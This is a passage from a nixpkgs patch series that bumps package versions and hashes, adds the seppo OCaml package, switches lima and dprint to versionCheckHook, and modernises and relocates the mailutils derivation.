"sha256-oPhe4yfOdsguXS3dF62mTr0+J1pfphsVJkMKR++c8go="; + vendorHash = "sha256-dok1CHFrYVAM5z6k6HvYrHm84khmxDPz1KBUpMQJD/o="; nativeBuildInputs = [ makeBinaryWrapper ]; From e0b5037a58bd048e22750683800fc6073a2dde05 Mon Sep 17 00:00:00 2001 From: Ryan Horiguchi Date: Sun, 22 Jun 2025 23:45:22 +0200 Subject: [PATCH 183/390] home-assistant-custom-components.localtuya: 2025.5.1 -> 2025.6.0 --- .../home-assistant/custom-components/localtuya/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/servers/home-assistant/custom-components/localtuya/package.nix b/pkgs/servers/home-assistant/custom-components/localtuya/package.nix index 1c0c15609b5c..81214caa1a72 100644 --- a/pkgs/servers/home-assistant/custom-components/localtuya/package.nix +++ b/pkgs/servers/home-assistant/custom-components/localtuya/package.nix @@ -7,13 +7,13 @@ buildHomeAssistantComponent rec { owner = "xZetsubou"; domain = "localtuya"; - version = "2025.5.1"; + version = "2025.6.0"; src = fetchFromGitHub { owner = "xZetsubou"; repo = "hass-localtuya"; rev = version; - hash = "sha256-cYaMHh16dmjO8UrpBZScGoHDNqvmQ5ceAq/lP6qazxA="; + hash = "sha256-P5qUvlpKwcbIERzDyImc79Gzmr1IHweH8SLM6QFhb5I="; }; meta = with lib; { From ac8cc9101171dfb12823352e7408d2e82ef77c3e Mon Sep 17 00:00:00 2001 From: Kenichi Kamiya Date: Tue, 24 Jun 2025 03:28:33 +0900 Subject: [PATCH 184/390] lima: prefer versionCheckHook --- pkgs/by-name/li/lima/package.nix | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/li/lima/package.nix b/pkgs/by-name/li/lima/package.nix index d5a251a3bd99..1bb3b3c6fd06 100644 --- a/pkgs/by-name/li/lima/package.nix +++ b/pkgs/by-name/li/lima/package.nix @@ -12,6 +12,7 @@ withAdditionalGuestAgents ? false, lima-additional-guestagents, writableTmpDirAsHomeHook, + versionCheckHook, testers, writeText, runCommand, @@ -92,14 +93,16 @@ buildGoModule (finalAttrs: { nativeInstallCheckInputs = [ # Workaround for: "panic: $HOME is not defined" at https://github.com/lima-vm/lima/blob/cb99e9f8d01ebb82d000c7912fcadcd87ec13ad5/pkg/limayaml/defaults.go#L53 writableTmpDirAsHomeHook + versionCheckHook ]; doInstallCheck = true; + versionCheckProgram = "${placeholder "out"}/bin/limactl"; + versionCheckProgramArg = "--version"; + versionCheckKeepEnvironment = [ "HOME" ]; - # Don't use versionCheckHook for this package until Env solutions like #403971 or #411609 are available on the master branch. installCheckPhase = '' runHook preInstallCheck - [[ "$("$out/bin/limactl" --version | cut -d ' ' -f 3)" == "${finalAttrs.version}" ]] USER=nix $out/bin/limactl validate templates/default.yaml runHook postInstallCheck From bee861240dd68621cdb4b48321d45595854fd0dd Mon Sep 17 00:00:00 2001 From: Kenichi Kamiya Date: Tue, 24 Jun 2025 03:39:08 +0900 Subject: [PATCH 185/390] dprint: prefer versionCheckHook --- pkgs/by-name/dp/dprint/package.nix | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/pkgs/by-name/dp/dprint/package.nix b/pkgs/by-name/dp/dprint/package.nix index 882f55d065d3..b89a9515e2e0 100644 --- a/pkgs/by-name/dp/dprint/package.nix +++ b/pkgs/by-name/dp/dprint/package.nix @@ -4,9 +4,9 @@ fetchFromGitHub, rustPlatform, installShellFiles, - testers, + writableTmpDirAsHomeHook, + versionCheckHook, nix-update-script, - dprint, }: rustPlatform.buildRustPackage (finalAttrs: { @@ -62,16 +62,16 @@ rustPlatform.buildRustPackage (finalAttrs: { --fish <($out/bin/dprint completions fish) ''; + nativeInstallCheckInputs = [ + writableTmpDirAsHomeHook + versionCheckHook + ]; + doInstallCheck = true; + versionCheckProgram = "${placeholder "out"}/bin/dprint"; + versionCheckProgramArg = "--version"; + versionCheckKeepEnvironment = [ "HOME" ]; + passthru = { - tests.version = testers.testVersion { - inherit (finalAttrs) version; - - package = dprint; - command = '' - DPRINT_CACHE_DIR="$(mktemp --directory)" dprint --version - ''; - }; - updateScript = nix-update-script { }; }; From f42e6417991a6aa331456bcc8b526d45f54adeff Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 18:43:27 +0000 Subject: [PATCH 186/390] python3Packages.qdrant-client: 1.14.2 -> 1.14.3 --- pkgs/development/python-modules/qdrant-client/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/qdrant-client/default.nix b/pkgs/development/python-modules/qdrant-client/default.nix index b8ad36619455..7f12c6f0cb1a 100644 --- a/pkgs/development/python-modules/qdrant-client/default.nix +++ b/pkgs/development/python-modules/qdrant-client/default.nix @@ -18,7 +18,7 @@ buildPythonPackage rec { pname = "qdrant-client"; - version = "1.14.2"; + version = "1.14.3"; pyproject = true; disabled = pythonOlder "3.7"; @@ -27,7 +27,7 @@ buildPythonPackage rec { owner = "qdrant"; repo = "qdrant-client"; tag = "v${version}"; - hash = "sha256-JohJbKIZfPG3qqjF8T1EmeS1sZALCglEIcsWiNSn/QE="; + hash = "sha256-OcSR8iYwX1az5BFVNp6xHpVE//Nyk4Nk97SaxAMJQRI="; }; build-system = [ poetry-core ]; From 5140786aa0f86a93092c144a24fc6fbf93ab40c7 Mon Sep 17 00:00:00 2001 From: Infinidoge Date: Tue, 3 Jun 2025 21:37:18 -0400 Subject: [PATCH 187/390] seppo: init at 0-unstable-2025-06-03 --- pkgs/by-name/se/seppo/mcdb.nix | 26 ++++++++++++ pkgs/by-name/se/seppo/package.nix | 69 +++++++++++++++++++++++++++++++ 2 files changed, 95 insertions(+) create mode 100644 pkgs/by-name/se/seppo/mcdb.nix create mode 100644 pkgs/by-name/se/seppo/package.nix diff --git a/pkgs/by-name/se/seppo/mcdb.nix b/pkgs/by-name/se/seppo/mcdb.nix new file mode 100644 index 000000000000..afe8436c7e4f --- /dev/null +++ b/pkgs/by-name/se/seppo/mcdb.nix @@ -0,0 +1,26 @@ +{ + buildDunePackage, + camlp-streams, + optint, + alcotest, + uri, + base64, + seppo, +}: + +buildDunePackage { + pname = "mcdb"; + + inherit (seppo) version src; + + propagatedBuildInputs = [ + camlp-streams + optint + ]; + + checkInputs = [ + alcotest + uri + base64 + ]; +} diff --git a/pkgs/by-name/se/seppo/package.nix b/pkgs/by-name/se/seppo/package.nix new file mode 100644 index 000000000000..3121d2274cc9 --- /dev/null +++ b/pkgs/by-name/se/seppo/package.nix @@ -0,0 +1,69 @@ +{ + ocamlPackages, + fetchFromGitea, + ocaml-crunch, + seppo, + lib, +}: + +let + mcdb = ocamlPackages.callPackage ./mcdb.nix { inherit seppo; }; +in + +ocamlPackages.buildDunePackage { + pname = "seppo"; + version = "0-unstable-2025-06-03"; + + src = fetchFromGitea { + domain = "codeberg.org"; + owner = "seppo"; + repo = "seppo"; + rev = "33ae3e9f61d596fb91d3ab1a91fc26ae80981a93"; + hash = "sha256-tOIIfYBLcZqQzoPxAVkE8RGX0sugUmDGpxIhIZ5Wy+w="; + }; + + # Provide git sha to avoid git dependency + env.GIT_SHA = seppo.src.rev; + + # Static build fails to find correct static libraries + postPatch = '' + sed -i 's/-static/""/' bin/gen_flags.sh + ''; + + nativeBuildInputs = [ + ocaml-crunch + ]; + + buildInputs = with ocamlPackages; [ + mcdb + + camlp-streams + cohttp-lwt-unix + crunch + csexp + decoders-ezjsonm + lambdasoup + lwt_ppx + mirage-crypto-rng + ocaml_sqlite3 + optint + safepass + timedesc + tls-lwt + tyre + uucp + uuidm + uunf + uutf + x509 + xmlm + ]; + + meta = { + homepage = "https://seppo.mro.name"; + description = "Personal Social Web"; + license = lib.licenses.gpl3Plus; + maintainers = with lib.maintainers; [ infinidoge ]; + mainProgram = "seppo"; + }; +} From c841e4ba74581a9a263a0bfb73b667435ea9b49e Mon Sep 17 00:00:00 2001 From: Sarah Clark Date: Mon, 23 Jun 2025 11:44:14 -0700 Subject: [PATCH 188/390] vectorcode: add python-dotenv to allow use with .env files Closes #412043 --- pkgs/by-name/ve/vectorcode/package.nix | 1 + 1 file changed, 1 insertion(+) diff --git a/pkgs/by-name/ve/vectorcode/package.nix b/pkgs/by-name/ve/vectorcode/package.nix index 2567d4d5e86b..c02fcfe37131 100644 --- a/pkgs/by-name/ve/vectorcode/package.nix +++ b/pkgs/by-name/ve/vectorcode/package.nix @@ -77,6 +77,7 @@ python.pkgs.buildPythonApplication rec { pathspec psutil pygments + python-dotenv sentence-transformers shtab tabulate From 0449b4bda4d91031193561d2a66c9fcc18c2ef02 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 16:49:48 +0000 Subject: [PATCH 189/390] libxeddsa: 2.0.0 -> 2.0.1 --- pkgs/by-name/li/libxeddsa/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/li/libxeddsa/package.nix b/pkgs/by-name/li/libxeddsa/package.nix index 7b33a5a3f02a..123c8a070343 100644 --- a/pkgs/by-name/li/libxeddsa/package.nix +++ b/pkgs/by-name/li/libxeddsa/package.nix @@ -8,13 +8,13 @@ }: stdenv.mkDerivation (finalAttrs: { pname = "libxeddsa"; - version = "2.0.0"; + version = "2.0.1"; src = fetchFromGitHub { owner = "Syndace"; repo = "libxeddsa"; tag = "v${finalAttrs.version}"; - hash = "sha256-kdy+S51nQstRFGw5mIW3TW+WBNynHLpmFC1t6Mc02K4="; + hash = "sha256-4xBZ3Ul2Mm5fz/vfulFQmWC6+CQB/egiw7NsC/GrUyw="; }; strictDeps = true; From 9fec8d171986c464698849dfc56d67619484b17e Mon Sep 17 00:00:00 2001 From: Malo Bourgon Date: Sun, 22 Jun 2025 14:35:12 -0700 Subject: [PATCH 190/390] python3Packages.openai: 1.87.0 -> 1.91.0 Diff: https://github.com/openai/openai-python/compare/refs/tags/v1.87.0...refs/tags/v1.91.0 Changelog: https://github.com/openai/openai-python/blob/v1.91.0/CHANGELOG.md --- pkgs/development/python-modules/openai/default.nix | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/pkgs/development/python-modules/openai/default.nix b/pkgs/development/python-modules/openai/default.nix index 243b81ee05b3..fc6efa7838c9 100644 --- a/pkgs/development/python-modules/openai/default.nix +++ b/pkgs/development/python-modules/openai/default.nix @@ -19,6 +19,11 @@ tqdm, typing-extensions, + # `httpx_aiohttp` not currently in `nixpkgs` + # optional-dependencies (aiohttp) + # aiohttp, + # httpx_aiohttp, + # optional-dependencies (datalib) numpy, pandas, @@ -47,7 +52,7 @@ buildPythonPackage rec { pname = "openai"; - version = "1.87.0"; + version = "1.91.0"; pyproject = true; disabled = pythonOlder "3.8"; @@ -56,7 +61,7 @@ buildPythonPackage rec { owner = "openai"; repo = "openai-python"; tag = "v${version}"; - hash = "sha256-KXvtAxkALZd/T5mVLkDemO7qQ7E2CLVmRpAg1+cRcdU="; + hash = "sha256-5thOFxXIStNowiEz9IacAkAC611zzXXs0ZB1tyuR+Go="; }; postPatch = ''substituteInPlace pyproject.toml --replace-fail "hatchling==1.26.3" "hatchling"''; @@ -81,6 +86,11 @@ buildPythonPackage rec { ++ lib.optionals withVoiceHelpers optional-dependencies.voice-helpers; optional-dependencies = { + # `httpx_aiohttp` not currently in `nixpkgs` + # aiohttp = [ + # aiohttp + # httpx_aiohttp + # ]; datalib = [ numpy pandas From b8b9cab64ec2cefb1b51d8e6b14eac6ea2b48616 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 19:01:57 +0000 Subject: [PATCH 191/390] runme: 3.14.0 -> 3.14.1 --- pkgs/by-name/ru/runme/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/ru/runme/package.nix b/pkgs/by-name/ru/runme/package.nix index ad4225ada0e2..5857120d0bb4 100644 --- a/pkgs/by-name/ru/runme/package.nix +++ b/pkgs/by-name/ru/runme/package.nix @@ -13,16 +13,16 @@ buildGoModule rec { pname = "runme"; - version = "3.14.0"; + version = "3.14.1"; src = fetchFromGitHub { owner = "runmedev"; repo = "runme"; rev = "v${version}"; - hash = "sha256-QbvnLylk+z25oIEr6yPg41e/XYXKoitIK98LUXyLVeU="; + hash = "sha256-il6Wf/3xiWgrv1+4QebhryKtGk8nnBJ6r9eB2r7XNJ4="; }; - vendorHash = "sha256-LdEsC7RaJm8LEDhJSTNmT1fPN4NNibOMY1Vxi5z+5b8="; + vendorHash = "sha256-DyAFmHUo08bwA83dae8KFgiIzoEhnOtVqCoyp89NFwE="; nativeBuildInputs = [ installShellFiles From 7676e88c94f4ec396bc025d9b90b8821d324cafd Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 19:03:25 +0000 Subject: [PATCH 192/390] rasm: 2.3.6 -> 2.3.7 --- pkgs/by-name/ra/rasm/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ra/rasm/package.nix b/pkgs/by-name/ra/rasm/package.nix index caf7289e1e73..d03ea5890e21 100644 --- a/pkgs/by-name/ra/rasm/package.nix +++ b/pkgs/by-name/ra/rasm/package.nix @@ -6,13 +6,13 @@ stdenv.mkDerivation rec { pname = "rasm"; - version = "2.3.6"; + version = "2.3.7"; src = fetchFromGitHub { owner = "EdouardBERGE"; repo = "rasm"; rev = "v${version}"; - hash = "sha256-U4bsOU76eNGBSDVEduxqbKqxcq7tIHQZldbe/ElZm+A="; + hash = "sha256-KW33PrQply22PYKmz+KLImesSR275SwgLGc/dsBO3Tw="; }; # by default the EXEC variable contains `rasm.exe` From 9eda4e0497e24eea2c1481bdc5be3832c647d4f1 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 19:41:44 +0000 Subject: [PATCH 193/390] dolt: 1.55.1 -> 1.55.2 --- pkgs/by-name/do/dolt/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/do/dolt/package.nix b/pkgs/by-name/do/dolt/package.nix index a6bef93de212..c0b4cd238224 100644 --- a/pkgs/by-name/do/dolt/package.nix +++ b/pkgs/by-name/do/dolt/package.nix @@ -6,18 +6,18 @@ buildGoModule rec { pname = "dolt"; - version = "1.55.1"; + version = "1.55.2"; src = fetchFromGitHub { owner = "dolthub"; repo = "dolt"; rev = "v${version}"; - sha256 = "sha256-XIvhfnjr8KJZDkx8L/eN+caiW8oXhxrMgEGcj1L3KnQ="; + sha256 = "sha256-smBb3QNsCipAKzR45bJk9GZZK02YiAkknC7YJBa02Mg="; }; modRoot = "./go"; subPackages = [ "cmd/dolt" ]; - vendorHash = "sha256-iC4NAeNe7/Uz79HWYsF35WoWi+RRcGKyhWc8efvVf4E="; + vendorHash = "sha256-/mh95CRtSK6eG/6CMiIYj/Qh7YgLutXNyG9/YTYtaPo="; proxyVendor = true; doCheck = false; From f27fdfdef425394b3a4a806d77edc19d29693689 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 19:41:54 +0000 Subject: [PATCH 194/390] jumppad: 0.20.1 -> 0.21.0 --- pkgs/by-name/ju/jumppad/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/ju/jumppad/package.nix b/pkgs/by-name/ju/jumppad/package.nix index 840d60ab6f1b..271e140a05c9 100644 --- a/pkgs/by-name/ju/jumppad/package.nix +++ b/pkgs/by-name/ju/jumppad/package.nix @@ -6,13 +6,13 @@ buildGoModule rec { pname = "jumppad"; - version = "0.20.1"; + version = "0.21.0"; src = fetchFromGitHub { owner = "jumppad-labs"; repo = "jumppad"; rev = version; - hash = "sha256-K+HWXtuKe0g8K3SpfbHgKzuTxiz68MSvzeI07fm0O4U="; + hash = "sha256-7bc3OmWNLvi+T8xNEwp2aIg/lQ28XrWW4LTcYhEO2xs="; }; vendorHash = "sha256-mr7Rnqp2rPIeW9oqNMbxc0SR+l8pPhKm6jk6EEycpRQ="; From e7fc9fbca2599dc0889df574c4bdfdef23f176f2 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 19:45:40 +0000 Subject: [PATCH 195/390] openfga: 1.8.15 -> 1.8.16 --- pkgs/by-name/op/openfga/package.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/by-name/op/openfga/package.nix b/pkgs/by-name/op/openfga/package.nix index 4f78a06f5cdc..e2d0870af296 100644 --- a/pkgs/by-name/op/openfga/package.nix +++ b/pkgs/by-name/op/openfga/package.nix @@ -7,7 +7,7 @@ let pname = "openfga"; - version = "1.8.15"; + version = "1.8.16"; in buildGoModule { @@ -17,7 +17,7 @@ buildGoModule { owner = "openfga"; repo = "openfga"; rev = "v${version}"; - hash = "sha256-OZZm2MIXzXc41sHScTUrlVh5g6gfr3stP8rwmUSarAs="; + hash = "sha256-ZEEqmQMoq0N45+BZbjjI0hcGncYzXwlzjoZBo3mvfrE="; }; vendorHash = "sha256-S0ecHnHbYRSSA2i5gOOLMsNqs1DHKY5y2u9yMO9wJ88="; From 7884233bbc571b2c8f24d5722e3c3f08411949e4 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 19:47:21 +0000 Subject: [PATCH 196/390] gum: 0.16.1 -> 0.16.2 --- pkgs/by-name/gu/gum/package.nix | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pkgs/by-name/gu/gum/package.nix b/pkgs/by-name/gu/gum/package.nix index 98f1081542ed..b6d9b5831172 100644 --- a/pkgs/by-name/gu/gum/package.nix +++ b/pkgs/by-name/gu/gum/package.nix @@ -8,16 +8,16 @@ buildGoModule rec { pname = "gum"; - version = "0.16.1"; + version = "0.16.2"; src = fetchFromGitHub { owner = "charmbracelet"; repo = "gum"; rev = "v${version}"; - hash = "sha256-3tn126Ars64ZhOY68aCrE7j14YDVGmllbHvYMHAgLR0="; + hash = "sha256-Qs7I9AdJx1FwQK+stgLJbXAIiL+zOYCDf1u+kT7u+Bg="; }; - vendorHash = "sha256-SsnULG12NjyetLhL7vYjjpDI8vqqdeSyoZj0U3KP/nI="; + vendorHash = "sha256-jCJUT7RXXPMgKgP48qip8MxcNB+EkrxUruOAj9WRSQA="; nativeBuildInputs = [ installShellFiles From 79df31ad38c6ccbc024ad5558b7a895b056849b1 Mon Sep 17 00:00:00 2001 From: "R. Ryantm" Date: Mon, 23 Jun 2025 19:00:16 +0000 Subject: [PATCH 197/390] python3Packages.pygmt: 0.15.0 -> 0.16.0 --- pkgs/development/python-modules/pygmt/default.nix | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/pkgs/development/python-modules/pygmt/default.nix b/pkgs/development/python-modules/pygmt/default.nix index 7c6f6a53a1ad..3a4d278a0f01 100644 --- a/pkgs/development/python-modules/pygmt/default.nix +++ b/pkgs/development/python-modules/pygmt/default.nix @@ -6,7 +6,6 @@ setuptools-scm, gmt, numpy, - netcdf4, pandas, packaging, xarray, @@ -18,7 +17,7 @@ buildPythonPackage rec { pname = "pygmt"; - version = "0.15.0"; + version = "0.16.0"; pyproject = true; disabled = pythonOlder "3.11"; @@ -27,7 +26,7 @@ buildPythonPackage rec { owner = "GenericMappingTools"; repo = "pygmt"; tag = "v${version}"; - hash = "sha256-sse1Cxzsrhg9X9zH/XSUtF/7YHrSUHYGtn4qoq5qdM4="; + hash = "sha256-VzsSBdKQDSXCFC61eCD6e45GLpVcKjRo3rx+cT/A7Jc="; }; postPatch = '' @@ -39,7 +38,6 @@ buildPythonPackage rec { dependencies = [ numpy - netcdf4 pandas packaging xarray From caa29e794a70a12518ab3dc7506f3273272665b2 Mon Sep 17 00:00:00 2001 From: Stefan Frijters Date: Sat, 14 Jun 2025 13:14:05 +0200 Subject: [PATCH 198/390] mailutils: 3.18 -> 3.19 --- pkgs/tools/networking/mailutils/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/tools/networking/mailutils/default.nix b/pkgs/tools/networking/mailutils/default.nix index d770fae131ab..9776f989cc42 100644 --- a/pkgs/tools/networking/mailutils/default.nix +++ b/pkgs/tools/networking/mailutils/default.nix @@ -32,11 +32,11 @@ stdenv.mkDerivation rec { pname = "mailutils"; - version = "3.18"; + version = "3.19"; src = fetchurl { url = "mirror://gnu/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-VZBJyNhRYEFSipBsE52bt6YvHQXX5WF/qP4PIxoTFXc="; + hash = "sha256-UCMNIANsW4rYyWsNmWF38fEz+6THx+O0YtOe6zCEn0U="; }; separateDebugInfo = true; From ead178c65449968cbb25816cfa542e5666adb1ff Mon Sep 17 00:00:00 2001 From: Stefan Frijters Date: Sat, 14 Jun 2025 13:24:33 +0200 Subject: [PATCH 199/390] mailutils: modernize derivation --- pkgs/tools/networking/mailutils/default.nix | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/pkgs/tools/networking/mailutils/default.nix b/pkgs/tools/networking/mailutils/default.nix index 9776f989cc42..0cfe05feac0b 100644 --- a/pkgs/tools/networking/mailutils/default.nix +++ b/pkgs/tools/networking/mailutils/default.nix @@ -30,12 +30,12 @@ guileSupport ? true, }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "mailutils"; version = "3.19"; src = fetchurl { - url = "mirror://gnu/${pname}/${pname}-${version}.tar.xz"; + url = "mirror://gnu/mailutils/mailutils-${finalAttrs.version}.tar.xz"; hash = "sha256-UCMNIANsW4rYyWsNmWF38fEz+6THx+O0YtOe6zCEn0U="; }; @@ -81,7 +81,7 @@ stdenv.mkDerivation rec { # https://lists.gnu.org/archive/html/bug-mailutils/2020-11/msg00038.html (fetchpatch { url = "https://lists.gnu.org/archive/html/bug-mailutils/2020-11/txtiNjqcNpqOk.txt"; - sha256 = "0ghzqb8qx2q8cffbvqzw19mivv7r5f16whplzhm7hdj0j2i6xf6s"; + hash = "sha256-2rhuopBANngq/PRCboIr+ewdawr8472cYwiLjtHCHz4="; }) # https://github.com/NixOS/nixpkgs/issues/223967 # https://lists.gnu.org/archive/html/bug-mailutils/2023-04/msg00000.html @@ -89,6 +89,8 @@ stdenv.mkDerivation rec { ]; enableParallelBuilding = true; + strictDeps = true; + hardeningDisable = [ "format" ]; configureFlags = @@ -108,6 +110,7 @@ stdenv.mkDerivation rec { dejagnu mkpasswd ]; + doCheck = !stdenv.hostPlatform.isDarwin; # ERROR: All 46 tests were run, 46 failed unexpectedly. doInstallCheck = false; # fails @@ -124,7 +127,7 @@ stdenv.mkDerivation rec { unset LD_LIBRARY_PATH ''; - meta = with lib; { + meta = { description = "Rich and powerful protocol-independent mail framework"; longDescription = '' @@ -146,17 +149,17 @@ stdenv.mkDerivation rec { and an implementation of MH message handling system. ''; - license = with licenses; [ + license = with lib.licenses; [ lgpl3Plus # libraries gpl3Plus # tools ]; - maintainers = with maintainers; [ orivej ]; + maintainers = with lib.maintainers; [ orivej ]; homepage = "https://www.gnu.org/software/mailutils/"; changelog = "https://git.savannah.gnu.org/cgit/mailutils.git/tree/NEWS"; # Some of the dependencies fail to build on {cyg,dar}win. - platforms = platforms.gnu ++ platforms.unix; + platforms = lib.platforms.gnu ++ lib.platforms.unix; }; -} +}) From b298fd73d3c8e9067868070c4b0567db175d8764 Mon Sep 17 00:00:00 2001 From: Stefan Frijters Date: Sat, 14 Jun 2025 13:27:36 +0200 Subject: [PATCH 200/390] mailutils: remove crufty workarounds The AT_TESTED issue has been fixed upstream: "libmu_scm/tests/testsuite.at: Fix improper use of AT_TESTED." in https://cgit.git.savannah.gnu.org/cgit/mailutils.git/commit/?id=f5a0204d8663b7a583e551647ffbf95b081d39e3 . The tty issue has been fixed upstream: "comsat/tests/testsuite.at: Use local file instead of the tty." in https://cgit.git.savannah.gnu.org/cgit/mailutils.git/commit/?id=016c4a978a69cc8990b5aab6c88cbac6fda57203 . The LD_LIBRARY_PATH has been added in 2017 and seems to be no longer necessary as the test suite passes without it. --- pkgs/tools/networking/mailutils/default.nix | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/pkgs/tools/networking/mailutils/default.nix b/pkgs/tools/networking/mailutils/default.nix index 0cfe05feac0b..efd93e5c824f 100644 --- a/pkgs/tools/networking/mailutils/default.nix +++ b/pkgs/tools/networking/mailutils/default.nix @@ -112,20 +112,6 @@ stdenv.mkDerivation (finalAttrs: { ]; doCheck = !stdenv.hostPlatform.isDarwin; # ERROR: All 46 tests were run, 46 failed unexpectedly. - doInstallCheck = false; # fails - - preCheck = '' - # Disable comsat tests that fail without tty in the sandbox. - tty -s || echo > comsat/tests/testsuite.at - # Remove broken macro - sed -i '/AT_TESTED/d' libmu_scm/tests/testsuite.at - # Provide libraries for mhn. - export LD_LIBRARY_PATH=$(pwd)/lib/.libs - ''; - - postCheck = '' - unset LD_LIBRARY_PATH - ''; meta = { description = "Rich and powerful protocol-independent mail framework"; From 1fa3184541f146b0e32e664156306abd09f5d483 Mon Sep 17 00:00:00 2001 From: Stefan Frijters Date: Sat, 14 Jun 2025 13:32:36 +0200 Subject: [PATCH 201/390] mailutils: unpin guile --- pkgs/tools/networking/mailutils/default.nix | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkgs/tools/networking/mailutils/default.nix b/pkgs/tools/networking/mailutils/default.nix index efd93e5c824f..b24f8a2ed175 100644 --- a/pkgs/tools/networking/mailutils/default.nix +++ b/pkgs/tools/networking/mailutils/default.nix @@ -13,7 +13,7 @@ gdbm, gnutls, gss, - guile_2_2, + guile, libmysqlclient, mailcap, nettools, @@ -72,7 +72,7 @@ stdenv.mkDerivation (finalAttrs: { ] ++ lib.optionals stdenv.hostPlatform.isLinux [ nettools ] ++ lib.optionals pythonSupport [ python3 ] - ++ lib.optionals guileSupport [ guile_2_2 ]; + ++ lib.optionals guileSupport [ guile ]; patches = [ ./fix-build-mb-len-max.patch From 66f7d2de7441d4e17b751adc56d548c5800387ed Mon Sep 17 00:00:00 2001 From: Stefan Frijters Date: Sat, 14 Jun 2025 13:50:05 +0200 Subject: [PATCH 202/390] mailutils: allow all hardening flags --- pkgs/tools/networking/mailutils/default.nix | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/pkgs/tools/networking/mailutils/default.nix b/pkgs/tools/networking/mailutils/default.nix index b24f8a2ed175..32afa9d9bbcd 100644 --- a/pkgs/tools/networking/mailutils/default.nix +++ b/pkgs/tools/networking/mailutils/default.nix @@ -83,6 +83,11 @@ stdenv.mkDerivation (finalAttrs: { url = "https://lists.gnu.org/archive/html/bug-mailutils/2020-11/txtiNjqcNpqOk.txt"; hash = "sha256-2rhuopBANngq/PRCboIr+ewdawr8472cYwiLjtHCHz4="; }) + # Avoid hardeningDisable = [ "format" ]; - this patch is from the project's master branch and can be removed at the next version + (fetchpatch { + url = "https://cgit.git.savannah.gnu.org/cgit/mailutils.git/patch/?id=9379ec9e25ae6bdbd3d6f5ef9930ac2176d2efe7"; + hash = "sha256-00R1DLMDPsvz3R6UgRO1ZvgMNCiHYS3lfjqAC9VD+Y4="; + }) # https://github.com/NixOS/nixpkgs/issues/223967 # https://lists.gnu.org/archive/html/bug-mailutils/2023-04/msg00000.html ./don-t-use-descrypt-password-in-the-test-suite.patch @@ -91,8 +96,6 @@ stdenv.mkDerivation (finalAttrs: { enableParallelBuilding = true; strictDeps = true; - hardeningDisable = [ "format" ]; - configureFlags = [ "--sysconfdir=/etc" From e2a57232aaa7a7ec4ec28dd7d23e8daa7110b9da Mon Sep 17 00:00:00 2001 From: Stefan Frijters Date: Sat, 14 Jun 2025 13:50:28 +0200 Subject: [PATCH 203/390] mailutils: explicitly use gsasl This is also explicitly referenced in the relevant configure flag and this means we can move mailutils to pkgs/by-name. --- pkgs/tools/networking/mailutils/default.nix | 4 ++-- pkgs/top-level/all-packages.nix | 4 +--- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/pkgs/tools/networking/mailutils/default.nix b/pkgs/tools/networking/mailutils/default.nix index 32afa9d9bbcd..41ba0f19a981 100644 --- a/pkgs/tools/networking/mailutils/default.nix +++ b/pkgs/tools/networking/mailutils/default.nix @@ -21,7 +21,7 @@ readline, ncurses, python3, - sasl, + gsasl, system-sendmail, libxcrypt, mkpasswd, @@ -67,7 +67,7 @@ stdenv.mkDerivation (finalAttrs: { ncurses pam readline - sasl + gsasl libxcrypt ] ++ lib.optionals stdenv.hostPlatform.isLinux [ nettools ] diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix index a75e8be6dc84..2306420f1bf8 100644 --- a/pkgs/top-level/all-packages.nix +++ b/pkgs/top-level/all-packages.nix @@ -3738,9 +3738,7 @@ with pkgs; libtool = if stdenv.hostPlatform.isDarwin then cctools else libtool; }; - mailutils = callPackage ../tools/networking/mailutils { - sasl = gsasl; - }; + mailutils = callPackage ../tools/networking/mailutils { }; man = man-db; From 59eafaa9409923969fc29204cddd1c0aa950513e Mon Sep 17 00:00:00 2001 From: Stefan Frijters Date: Sat, 14 Jun 2025 13:52:04 +0200 Subject: [PATCH 204/390] mailutils: move to pkgs/by-name --- .../don-t-use-descrypt-password-in-the-test-suite.patch | 0 .../ma}/mailutils/fix-build-mb-len-max.patch | 0 .../mailutils/default.nix => by-name/ma/mailutils/package.nix} | 0 .../networking => by-name/ma}/mailutils/path-to-cat.patch | 0 pkgs/top-level/all-packages.nix | 2 -- 5 files changed, 2 deletions(-) rename pkgs/{tools/networking => 